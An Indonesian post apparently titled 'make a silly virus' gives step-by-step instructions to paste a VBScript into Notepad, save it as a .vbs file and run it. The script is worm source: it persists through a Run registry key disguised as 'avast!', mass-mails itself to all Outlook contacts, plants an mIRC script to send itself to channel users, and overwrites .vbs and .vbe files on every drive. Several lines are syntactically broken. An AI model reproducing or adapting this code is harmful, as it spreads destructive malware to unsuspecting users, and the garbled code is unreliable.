buat Virus Konyol

• pertama:buka notepad
• ke-2:copy paste code dibawah ini!!!
• 
  

• 'Vbs.spyfizzvirus.winlove Created By [spyfizz]. 3/7/2008
  Set Q56330E5 = createobject("scripting.filesystemobject")
  Q78UU1M7 = Q56330E5.getspecialfolder(1)s
  C6I1JRGJ = Q78UU1M7 & "\bokep.html.vbs"
  Set F817E462 = createobject("wscript.shell")
  F817E462.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\avast!", "wscript.exe " & C6I1JRGJ & " %"
  Q56330E5.copyfile wscript.scriptfullname, C6I1JRGJ
  VD50R8SA
  If F817E462.regread("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\winlove\AC0P74KB") <> 1 then
  M7KGON2P
  End if
  If F817E462.regread("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\winlove\EE7CE7PL") <> 1 then
  JN280GF4 ""
  End if
  
  Set QT2R7M72= Q56330E5.opentextfile(wscript.scriptfullname)
  NHT3J139 = QT2R7M72.readall
  QT2R7M72.close
  Do
  if not(Q56330E5.fileexists(wscript.scriptfullname)) then
  set NNN03NRN= Q56330E5.createtextfile(wscript.scriptfullname)
  NNN03NRN.write NHT3J139
  NNN03NRN.close
  end if
  C3C7FI65 = F817E462.regread("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\avast!")
  If C3C7FI65 <> "wscript.exe " & C6I1JRGJ & " %" then
  F817E462.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\avast!", "wscript.exe " & C6I1JRGJ & " %"
  end if
  C3C7FI65= ""
  loop
  Function M7KGON2P()
  Set KO1TLPP3 = CreateObject("Outlook.Application")
  If KO1TLPP3 = "Outlook" Then
  Set OI646QKF = KO1TLPP3.GetNameSpace("MAPI")
  Set PV424ID5 = OI646QKF.AddressLists
  For Each LRD1IK96 In PV424ID5
  If LRD1IK96.AddressEntries.Count <> 0 Then
  FI87ECJP = LRD1IK96.AddressEntries.Count
  For KK04TEGF = 1 To FI87ECJP
  Set BICQC8G8 = KO1TLPP3.CreateItem(0)
  Set VL2G88R3 = LRD1IK96.AddressEntries(KK04TEGF)
  BICQC8G8.To = VL2G88R3.Address
  BICQC8G8.Subject = "Very Important!"
  BICQC8G8.Body = "Hi:" & vbcrlf & "Please view this file, it's very important." & vbcrlf & ""
  execute "set V11B9L4J =BICQC8G8." & Chr(65) & Chr(116) & Chr(116) & Chr(97) & Chr(99) & Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115)
  L6956330 = C6I1JRGJ
  BICQC8G8.DeleteAfterSubmit = True
  V11B9L4J.Add L6956330
  If BICQC8G8.To <> "" Then
  BICQC8G8.Send
  End If
  Next
  End If
  Next
  End If
  End function
  Function JN280GF4(EL52DEIC)
  If EL52DEIC <> "" Then
  I1A817E4 = F817E462.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
  If Q56330E5.fileexists("c:\mirc\mirc.ini") Then
  EL52DEIC = "c:\mirc"
  ElseIf Q56330E5.fileexists("c:\mirc32\mirc.ini") Then
  EL52DEIC = "c:\mirc32"
  ElseIf Q56330E5.fileexists(I1A817E4 & "\mirc\mirc.ini") Then
  EL52DEIC = I1A817E4 & "\mirc"
  ElseIf Q56330E5.fileexists(I1A817E4 & "\mirc32\mirc.ini") Then
  EL52DEIC = I1A817E4 & "\mirc"
  Else
  EL52DEIC = ""
  End If
  End If
  If EL52DEIC <> "" Then
  Set QE978UU1 = Q56330E5.CreateTextFile(EL52DEIC & "\script.ini", True)
  QE978UU1 = "[script]" & vbCrLf & "n0=on 1:JOIN:#:{"
  QE978UU1 = QE978UU1 & vbCrLf & "n0=on 1:JOIN:#:{"
  QE978UU1 = QE978UU1 & vbCrLf & "n1=  /if ( $nick == $me ) { halt }"
  QE978UU1 = QE978UU1 & vbCrLf & "n2=  /." & Chr(100) & Chr(99) & Chr(99) & " send $nick "
  QE978UU1 = QE978UU1 & C6I1JRGJ
  QE978UU1 = QE978UU1 & vbCrLf & "n3=}"
  script.Close
  End If
  End Function
  Function M6T6I1JR()
  On Error Resume Next
  Set GU5D50R8 = Q56330E5.Drives
  For Each SOBC0P74 In GU5D50R8
  KV27KGON = SOBC0P74 & " \ "
  Call I6GE7CE7(KV27KGON)
  Next
  End Function
  Function I6GE7CE7(P4HN280G)
  FC2T2R7M = P4HN280GSet E11HT3J1 = Q56330E5.GetFolder(FC2T2R7M)
  Set JS7NN03N = E11HT3J1.Files
  For Each R5B3C7FI In JS7NN03NIf lcase(R5B3C7FI.Name) = "mirc.ini" Then
  JN280GF4(R5B3C7FI.ParentFolder)
  End If
  If Q56330E5.GetExtensionName(R5B3C7FI.path) = "vbs"
  Q56330E5.CopyFile wscript.scriptfullname,R5B3C7FI.path,true
  End if
  If Q56330E5.GetExtensionName(R5B3C7FI.path) = "vbe"
  Q56330E5.CopyFile wscript.scriptfullname,R5B3C7FI.path,true
  End if
  Next
  Set O3UO1TLP = E11HT3J1.Subfolders
  For Each PR8I646Q In O3UO1TLPCall (PR8I646Q.path)
  Next
  End function
  Function VD50R8SA()
  Randomize
  If 1 + Int(Rnd * 5) = 7 then
  Msgbox "i still love your computer",64,"i love computer"
  end if
  end function
  'new vbs. By [spyfizz]

  
  dah kan?!?
  save as spyfizz.vbs(save as typeny diganti jdi all files)
  klik 2 kali hasil buatan tadi y!!!
  from:   ..Rifqi .. Spyfizz +